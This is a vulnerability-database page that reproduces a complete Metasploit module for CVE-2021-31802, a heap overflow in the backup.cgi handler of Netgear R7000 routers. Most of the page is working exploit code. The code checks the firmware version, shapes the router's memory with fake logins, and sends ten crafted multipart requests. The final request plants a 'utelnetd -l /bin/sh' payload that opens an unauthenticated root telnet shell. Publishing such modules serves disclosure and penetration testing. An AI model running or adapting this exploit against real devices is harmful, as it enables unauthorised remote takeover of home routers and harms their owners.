Lucene search
K

Netgear R7000 Backup.cgi Heap Overflow Remote Code Execution

🗓️ 31 Aug 2024 00:00:00Reported by Grant Willcox, colorlight2019, SSD Disclosure, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 158 Views

This module exploits a heap buffer overflow in the genie.cgi?backup.cgi page of Netgear R7000 routers running firmware version 1.0.11.116. Successful exploitation results in unauthenticated attackers gaining code execution as the root user. The exploit utilizes these privileges to enable the telnet server, allowing attackers to connect to the target and execute commands as the admin user from within a BusyBox shell. Users can connect to this telnet server by running the command "telnet *target IP*

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-31802
27 Apr 202106:39
circl
CNNVD
NETGEAR R7000 缓冲区错误漏洞
26 Apr 202100:00
cnnvd
CNVD
NETGEAR R7000 Code Execution Vulnerability
27 Apr 202100:00
cnvd
CVE
CVE-2021-31802
26 Apr 202112:02
cve
Cvelist
CVE-2021-31802
26 Apr 202112:02
cvelist
Metasploit
Netgear R7000 backup.cgi Heap Overflow RCE
29 Jul 202117:43
metasploit
NVD
CVE-2021-31802
26 Apr 202113:15
nvd
OSV
CVE-2021-31802
26 Apr 202113:15
osv
Prion
Heap overflow
26 Apr 202113:15
prion
Rapid7 Blog
Metasploit Wrap-Up
30 Jul 202118:04
rapid7blog
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Netgear R7000 backup.cgi Heap Overflow RCE',  
'Description' => %q{  
This module exploits a heap buffer overflow in the genie.cgi?backup.cgi  
page of Netgear R7000 routers running firmware version 1.0.11.116.  
Successful exploitation results in unauthenticated attackers gaining  
code execution as the root user.  
  
The exploit utilizes these privileges to enable the telnet server  
which allows attackers to connect to the target and execute commands  
as the admin user from within a BusyBox shell. Users can connect to  
this telnet server by running the command "telnet *target IP*".  
},  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Author' => [  
'colorlight2019', # Vulnerability Discovery and Exploit Code  
'SSD Disclosure', # Vulnerability Writeup  
'Grant Willcox (tekwizz123)' # Metasploit Module  
],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'Arch' => ARCH_ARMLE,  
'Targets' => [  
[ 'Netgear R7000 Firmware Version 1.0.11.116', {} ]  
],  
'Notes' => {  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SERVICE_DOWN ],  
'SideEffects' => [ CONFIG_CHANGES ]  
},  
'References' => [  
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r7000-httpd-preauth-rce/'],  
[ 'CVE', '2021-31802']  
],  
'DisclosureDate' => '2021-04-21'  
)  
)  
  
register_options(  
[  
Opt::RPORT(80)  
]  
)  
  
deregister_options('URIPATH')  
end  
  
def scrape(text, start_trig, end_trig)  
text[/#{start_trig}(.*?)#{end_trig}/m, 1]  
end  
  
def retrieve_firmware_version  
res = send_request_cgi({ 'uri' => '/currentsetting.htm' })  
if res.nil?  
return Exploit::CheckCode::Unknown('Connection timed out.')  
end  
  
data = res.to_s  
firmware_version = data.match(/Firmware=V(\d+\.\d+\.\d+\.\d+)(_(\d+\.\d+\.\d+))?/)  
if firmware_version.nil?  
return Exploit::CheckCode::Unknown('Could not retrieve firmware version!')  
end  
  
firmware_version  
end  
  
def check_vuln_firmware  
firmware_version = retrieve_firmware_version  
firmware_version = Rex::Version.new(firmware_version[1])  
if firmware_version <= Rex::Version.new('1.0.11.116') || firmware_version == Rex::Version.new('1.0.11.208') || firmware_version == Rex::Version.new('1.0.11.204')  
return true  
end  
  
false  
end  
  
# Requests the login page which discloses the hardware. If it's an R7000 router, check if the firmware version is vulnerable.  
def check  
res = send_request_cgi({ 'uri' => '/' })  
if res.nil?  
return Exploit::CheckCode::Unknown('Connection timed out.')  
end  
  
# Checks for the `WWW-Authenticate` header in the response  
if res.headers['WWW-Authenticate']  
data = res.to_s  
marker_one = 'Basic realm="NETGEAR '  
marker_two = '"'  
model = scrape(data, marker_one, marker_two)  
print_status("Router is a NETGEAR router (#{model})")  
if model == 'R7000' && check_vuln_firmware  
return Exploit::CheckCode::Vulnerable  
end  
  
else  
print_error('Router is not a NETGEAR router')  
end  
return Exploit::CheckCode::Safe  
end  
  
def fake_logins_to_ease_heap  
# This entire set of code is dedicated towards doing a series of invalid logins, which will result in the router  
# showing a Router Password Reset page. This is needed since, as noted in SSD's blog post, the httpd program's  
# heap state is different when a user is logged in or logged out via the web management portal, and supposively  
# going through this process helps to make the heap state more clear and known.  
i = 0  
username = Rex::Text.rand_text_alphanumeric(6)  
password = Rex::Text.rand_text_alphanumeric(18)  
while (i < 3)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/',  
'cookie' => 'XSRF_TOKEN=1222440606',  
'authorization' => basic_auth(username, password),  
'headers' => {  
'Connection' => 'close'  
}  
})  
if res.nil?  
return false  
elsif (res.code == 200)  
return true  
end  
end  
return false  
end  
  
def send_payload  
post_data = Rex::MIME::Message.new  
post_data.add_part('a', nil, nil, nil)  
  
post_data.bound = Rex::Text.rand_text_alphanumeric(32)  
  
post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(447)}\""]  
send_data = post_data.to_s  
send_data.sub!(/a\r\n--#{post_data.bound}--\r\n/, Rex::Text.rand_text_alpha(1))  
  
res = send_request_cgi({  
'method' => "#{Rex::Text.rand_text_alpha(58698)}POST",  
'uri' => normalize_uri('cgi-bin', "genie.cgi?backup.cgi\nContent-Length: 4156559"), # Note that we need this format for Content-Length otherwise the exploitation will fail :/  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'agent' => nil, # Disable sending the User-Agent header  
'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },  
'data' => send_data  
})  
  
if !res.nil?  
fail_with(Failure::UnexpectedReply, 'The target R7000 router responded prematurely on the first packet, something wrong happened!')  
end  
  
post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(439)}\""]  
send_data = post_data.to_s  
send_data.sub!(/a\r\n--#{post_data.bound}--\r\n/, Rex::Text.rand_text_alpha(1))  
  
res = send_request_cgi({  
'method' => "#{Rex::Text.rand_text_alpha(58706)}POST",  
'uri' => normalize_uri('cgi-bin', "genie.cgi?backup.cgi\nContent-Length: 4156559"), # Note that we need this format for Content-Length otherwise the exploitation will fail :/  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'agent' => nil, # Disable sending the User-Agent header  
'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },  
'data' => send_data  
})  
  
if !res.nil?  
fail_with(Failure::UnexpectedReply, 'The target R7000 router responded prematurely on the second packet, something wrong happened!')  
end  
  
post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(447)}\""]  
post_data.parts[0].content = "#{Rex::Text.rand_text_alpha(24)}\xC0\x03\x00\x00\x28\x00\x00\x00"  
send_data = post_data.to_s  
send_data.sub!(/\r\n--#{post_data.bound}--\r\n/, '')  
  
res = send_request_cgi({  
'method' => "#{Rex::Text.rand_text_alpha(58667)}POST",  
'uri' => normalize_uri('cgi-bin', "genie.cgi?backup.cgi\nContent-Length: 4156559"), # Note that we need this format for Content-Length otherwise the exploitation will fail :/  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'agent' => nil, # Disable sending the User-Agent header  
'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },  
'data' => send_data  
})  
  
if res.code != 200  
fail_with(Failure::UnexpectedReply, 'The target R7000 router responded with a non 200 OK response on the third packet!')  
end  
  
post_data.parts[0].header.headers[0] = ['Content-Disposition', "form-data; name=\"StringFilepload\"; filename=\"#{Rex::Text.rand_text_alpha(256)}\""]  
post_data.parts[0].content = "\xA0\x03\x00\x00#{"\x20" * 12}#{Rex::Text.rand_text_alpha(924)}\x09\x00\x00\x00"  
send_data = post_data.to_s  
send_data.sub!(/\r\n--#{post_data.bound}--\r\n/, '')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => '/genierestore.cgi',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'agent' => nil, # Disable sending the User-Agent header  
'headers' => { 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}\r\n#{Rex::Text.rand_text_alpha(512)}: #{Rex::Text.rand_text_alpha(9)}" },  
'data' => send_data  
})  
  
if res.code != 200  
fail_with(Failure::UnexpectedReply, 'The target R7000 router responded with a non 200 OK response on the fourth packet!')  
end  
  
post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(447)}\""]  
post_data.parts[0].content = ''  
send_data = post_data.to_s  
send_data.sub!(/\r\n--#{post_data.bound}--\r\n/, Rex::Text.rand_text_alpha(1))  
  
res = send_request_cgi({  
'method' => "#{Rex::Text.rand_text_alpha(58698)}POST",  
'uri' => normalize_uri('cgi-bin', "genie.cgi?backup.cgi\nContent-Length: 4156559"), # Note that we need this format for Content-Length otherwise the exploitation will fail, most likely due to a bad heap layout.  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'agent' => nil, # Disable sending the User-Agent header  
'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },  
'data' => send_data  
})  
  
if !res.nil?  
fail_with(Failure::UnexpectedReply, 'The target R7000 router responded prematurely on the fifth packet, something wrong happened!')  
end  
  
post_data.parts[0].header.headers[0] = ['Content-Disposition', "form-data; name=\"StringFilepload\"; filename=\"#{Rex::Text.rand_text_alpha(256)}\""]  
post_data.parts[0].content = "\x20\x00\x00\x00#{"\x20" * 12}a"  
send_data = post_data.to_s  
send_data.sub!(/\r\n--#{post_data.bound}--\r\n/, '')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => '/genierestore.cgi',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'agent' => nil, # Disable sending the User-Agent header  
'headers' => { 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}\r\n#{Rex::Text.rand_text_alpha(512)}: #{Rex::Text.rand_text_alpha(9)}" },  
'data' => send_data  
})  
  
if res.code != 200  
fail_with(Failure::UnexpectedReply, 'The target R7000 router responded with a non 200 OK response on the sixth packet!')  
end  
  
post_data.parts[0].header.headers[0] = ['Content-Disposition', "form-data; name=\"StringFilepload\"; filename=\"#{Rex::Text.rand_text_alpha(256)}\""]  
post_data.parts[0].content = "\x48\x00\x00\x00#{"\x20" * 12}a"  
send_data = post_data.to_s  
send_data.sub!(/\r\n--#{post_data.bound}--\r\n/, '')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => '/genierestore.cgi',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'agent' => nil, # Disable sending the User-Agent header  
'headers' => { 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}\r\n#{Rex::Text.rand_text_alpha(512)}: #{Rex::Text.rand_text_alpha(9)}" },  
'data' => send_data  
})  
  
if res.code != 200  
fail_with(Failure::UnexpectedReply, 'The target R7000 router responded with a non 200 OK response on the seventh packet!')  
end  
  
post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(439)}\""]  
post_data.parts[0].content = "#{Rex::Text.rand_text_alpha(36)}\x51\x00\x00\x00\xd8\x08\x12\x00"  
send_data = post_data.to_s  
send_data.sub!(/\r\n--#{post_data.bound}--\r\n/, '')  
  
res = send_request_cgi({  
'method' => "#{Rex::Text.rand_text_alpha(58663)}POST",  
'uri' => normalize_uri('cgi-bin', "genie.cgi?backup.cgi\nContent-Length: 4156559"), # Note that we need this format for Content-Length otherwise the exploitation will fail, most likely due to a bad heap layout.  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'agent' => nil, # Disable sending the User-Agent header  
'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },  
'data' => send_data  
})  
  
if res.code != 200  
fail_with(Failure::UnexpectedReply, 'The target R7000 router responded with a non 200 OK response on the eighth packet!')  
end  
  
post_data.parts[0].header.headers[0] = [Rex::Text.rand_text_alpha(19).to_s, "form-data; name=\"mtenRestoreCfg\"; filename=\"#{Rex::Text.rand_text_alpha(399)}\""]  
post_data.parts[0].content = ''  
send_data = post_data.to_s  
send_data.sub!(/\r\n--#{post_data.bound}--\r\n/, Rex::Text.rand_text_alpha(1))  
  
res = send_request_cgi({  
'method' => "#{Rex::Text.rand_text_alpha(58746)}POST",  
'uri' => normalize_uri('cgi-bin', "genie.cgi?backup.cgi\nContent-Length: 4156559"), # Note that we need this format for Content-Length otherwise the exploitation will fail, most likely due to a bad heap layout.  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'agent' => nil, # Disable sending the User-Agent header  
'headers' => { 'Content-Disposition' => 'form-data', Rex::Text.rand_text_alpha(512) => Rex::Text.rand_text_alpha(9), 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}" },  
'data' => send_data  
})  
  
if !res.nil?  
fail_with(Failure::UnexpectedReply, 'The target R7000 router responded on the ninth packet!')  
end  
  
post_data.parts[0].header.headers[0] = ['Content-Disposition', "form-data; name=\"StringFilepload\"; filename=\"#{Rex::Text.rand_text_alpha(256)}\""]  
post_data.parts[0].content = "\x48\x00\x00\x00#{"\x20" * 12}utelnetd -l /bin/sh#{"\x00" * 45}\x04\xe8\x00\x00"  
send_data = post_data.to_s  
send_data.sub!(/\r\n--#{post_data.bound}--\r\n/, '')  
  
print_status('Sending 10th and final packet...')  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => '/genierestore.cgi',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'agent' => nil, # Disable sending the User-Agent header  
'headers' => { 'Host' => "#{datastore['RHOST']}:#{datastore['RPORT']}\r\n#{Rex::Text.rand_text_alpha(512)}: #{Rex::Text.rand_text_alpha(9)}" },  
'data' => send_data  
}, 0)  
  
print_status("If the exploit succeeds, you should be able to connect to the telnet shell by running: telnet #{datastore['RHOST']}")  
end  
  
def run  
firmware_version = retrieve_firmware_version  
  
firmware_version = Rex::Version.new(firmware_version[1])  
if firmware_version != Rex::Version.new('1.0.11.116')  
fail_with(Failure::NoTarget, 'Sorry but at this point in time only version 1.0.11.116 of the R7000 firmware is exploitable with this module!')  
end  
  
unless fake_logins_to_ease_heap # Set the heap to a more predictable state via a series of fake logins.  
fail_with(Failure::UnexpectedReply, 'The target R7000 router did not send us the expected 200 OK response after 3 invalid login attempts!')  
end  
  
send_payload  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation